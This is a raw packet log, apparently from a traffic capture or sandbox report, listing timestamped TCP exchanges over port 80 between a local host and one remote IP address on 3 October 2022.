Oct 3, 2022 17:34:54.055919886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.055927992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055955887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055964947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.055974007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.059737921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.076955080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.077001095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.077028990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.077052116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.077124119 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.077124119 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.081695080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081752062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081783056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081811905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081815958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.081841946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081873894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081888914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.081904888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081934929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081950903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.081964970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.081973076 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.081996918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082017899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082036972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082062006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082065105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082086086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082089901 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082110882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082124949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082134962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082159996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082175016 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082185984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082212925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082235098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082252026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082278013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082318068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082323074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082354069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082355022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082393885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082432985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082446098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082465887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082501888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082503080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082540989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082581997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082588911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082616091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082652092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082658052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082685947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082719088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082727909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082760096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082798004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082809925 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082834005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082873106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082930088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.082937002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.082968950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083003998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083010912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083040953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083043098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083077908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083112955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083123922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083148956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083183050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083198071 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083219051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083260059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083295107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083317041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083332062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083369970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083375931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083405972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083445072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083446980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083479881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083482027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083518982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083556890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083561897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083580017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083601952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083626032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083626986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083651066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083668947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083694935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083699942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083724976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083730936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083758116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083777905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083795071 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083806992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083821058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083832979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083856106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083868980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083879948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083914995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083920002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.083926916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083956957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.083983898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084006071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084026098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084045887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084065914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084079027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084096909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084115028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084132910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084150076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084167957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084194899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084249973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.084316969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084343910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084367037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084388971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084389925 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.084414005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084414005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.084451914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.084508896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084671021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.084717035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.084955931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085102081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085148096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.085254908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085413933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085577965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085688114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.085812092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.085973024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.086024046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.086138964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087198973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087239981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087268114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087268114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087291956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087296963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087328911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087357998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087368011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087387085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087398052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087415934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087441921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087456942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087496996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087517023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087534904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087554932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087577105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087598085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087619066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087640047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087658882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087678909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087703943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087723970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087744951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087748051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087773085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.087779045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087793112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.087800026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.089956045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.101630926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101674080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101700068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101728916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101774931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.101819038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101823092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.101845026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101871014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101883888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.101897001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101922035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.101933956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.101947069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102020025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102045059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102060080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102071047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102087975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102104902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102130890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102143049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102158070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102184057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102195024 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102210045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102236986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102264881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102276087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102291107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102299929 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102318048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102344036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102355003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102427006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102453947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102464914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102478027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102576017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102603912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102616072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102643013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102763891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102793932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102818012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102839947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102855921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102865934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102886915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102904081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102930069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102947950 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.102957010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.102982998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.103008032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.103029013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.103033066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.103049994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.103054047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.103095055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132257938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132303953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132332087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132359028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132384062 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132385015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132412910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132436991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132437944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132455111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132466078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132489920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132513046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132530928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132539988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132559061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132566929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132594109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132618904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132635117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132647038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132664919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132675886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132702112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132731915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132742882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132762909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132785082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132806063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132833958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132841110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132863045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132878065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132893085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132921934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132945061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132966042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.132972002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.132987022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133002996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133028984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133070946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133177996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133205891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133232117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133249998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133260965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133271933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133290052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133317947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133343935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133358002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133373022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133380890 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133402109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133430004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133455038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133469105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133482933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133493900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133512020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133538961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133564949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133584976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133596897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133608103 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.133627892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133655071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.133696079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134224892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134257078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134283066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134301901 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134304047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134321928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134330988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134356022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134370089 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134382963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134407043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134432077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134445906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134458065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134469986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134485960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134507895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134525061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134531021 CEST	80	49702	104.21.93.30	192.168.2.7
